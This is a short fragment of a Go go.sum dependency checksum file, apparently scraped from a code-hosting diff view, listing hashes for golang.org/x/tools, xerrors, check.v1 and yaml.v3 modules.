golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||||
|
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
Loading…
Reference in New Issue
Block a user